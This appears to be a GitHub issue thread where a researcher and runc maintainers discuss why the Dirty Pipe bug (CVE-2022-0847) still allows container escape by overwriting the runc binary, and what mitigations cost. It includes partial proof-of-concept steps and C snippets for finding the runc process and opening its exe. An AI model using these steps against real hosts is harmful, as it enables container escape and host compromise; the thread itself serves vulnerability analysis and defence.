Why dirty pipe can escape container?

[g0dA]

Overwriting /proc/runc pid/exe through dirty pipe(CVE-2022-0847) can cause container escape like CVE-2019-5736

But CVE-2019-5736 was fixed by memfd_create in commit nsenter: clone /proc/self/exe to avoid exposing host binary to container

For now i think /proc/runc pid/exe is an in-memory file, if we open it we can get fd created by memfd_create
in kernel :

static int proc_exe_link(struct dentry *dentry, struct path *exe_path)
{
	struct task_struct *task;
	struct file *exe_file;

	task = get_proc_task(d_inode(dentry));
	if (!task)
		return -ENOENT;
	exe_file = get_task_exe_file(task);
	put_task_struct(task);
	if (exe_file) {
		*exe_path = exe_file->f_path;
		path_get(&exe_file->f_path);
		fput(exe_file);
		return 0;
	} else
		return -ENOENT;
}

exe_file is task->mm->exe_file and it It should be an in-memory file not a file on disk, so we shouldn't be able to overwrite the disk file by overwriting it

But my poc works and i don't know why

Steps :

1. echo '#!/proc/self/exe' > /bin/sh
2. search runc pid

	while (found == 0) {
		dir = opendir("/proc");
		while ((ptr = readdir(dir)) != NULL) {
			snprintf(path, sizeof(path), "/proc/%s/cmdline", ptr->d_name);
			if (isRuncProcess(path, "runc")) {
				found = atoi(ptr->d_name);
				printf("[+] Found the RUNC PID: %d\n", found);
				break;		
			}
		}
		closedir(dir);
	}

3. open /proc/runc pid/exe

	int handleFd = -1;
	while (handleFd == -1) {
		snprintf(path, sizeof(path), "/proc/%d/exe", found);
		handleFd = open(path, O_RDONLY);
	}	

4. runc exec -t test /bin/sh
5. splice + write overwrite

[cyphar]

Because of many complaints by Kubertnetes folks, we switched to making /proc/self/exe a read-only bind-mount. The memfd logic still exists but it's only exercised by rootless containers.

It's pretty frustrating that I implemented a protection against this precise issue which we were forced to disable because Kubertnetes integration tests started failing (copying the binary increases memory usage by a few MB and the Kubertnetes tests had tiny memory limits).

[g0dA]

Oh my god, it looks like this, no wonder the actual performance of runc is not the same as the previous fix report.

Then I have a new question :

runc/libcontainer/nsenter/cloned_binary.c

Line 510 in 98b75be

int n = sendfile(execfd, binfd, NULL, statbuf.st_size - sent);

by sendfile() memfd and binfd are the same page cache，if the pagecache of memfd is modified through dirtypipe, it will also cause the container to escape

Am I right?

[cyphar]

I'm not sure about that. I don't know if sendfile (which uses splice internally on an in-kernel private pipe) will result in the page cache being shared. I feel like the answer should be no because sendfile can be used for non-PAGE_SIZE offsets and lengths, but it's possible Linux is being too clever for its own good here. The sendfile(2) manpage (unsurprisingly) doesn't say whether or not the page cache would be shared after sendfile.

[cyphar]

If you have a PoC, have you tried modifying cloned_binary.c so that we always use a memfd and then try the PoC again?

[brant-ruan]

According to experiments from @terenceli, using memfd and sendfile will cause PoC fails.

[cyphar]

Thanks, good to know.

[kings-way]

related: #1984 nsenter: cloned_binary: "memfd" cleanups

[christophetd]

For what it's worth, we published a container escape PoC based on overwriting the runC binary: https://github.com/DataDog/dirtypipe-container-breakout-poc

We did confirm that using a modified runC version cloning the binary instead of bind-mounting it does cause it to fail

[cyphar]

Yeah it seems like revisiting this might be a good idea, but a 10mb bump in container memory requirements is probably not going to make people happy (and it's not obvious how we should make it optional...)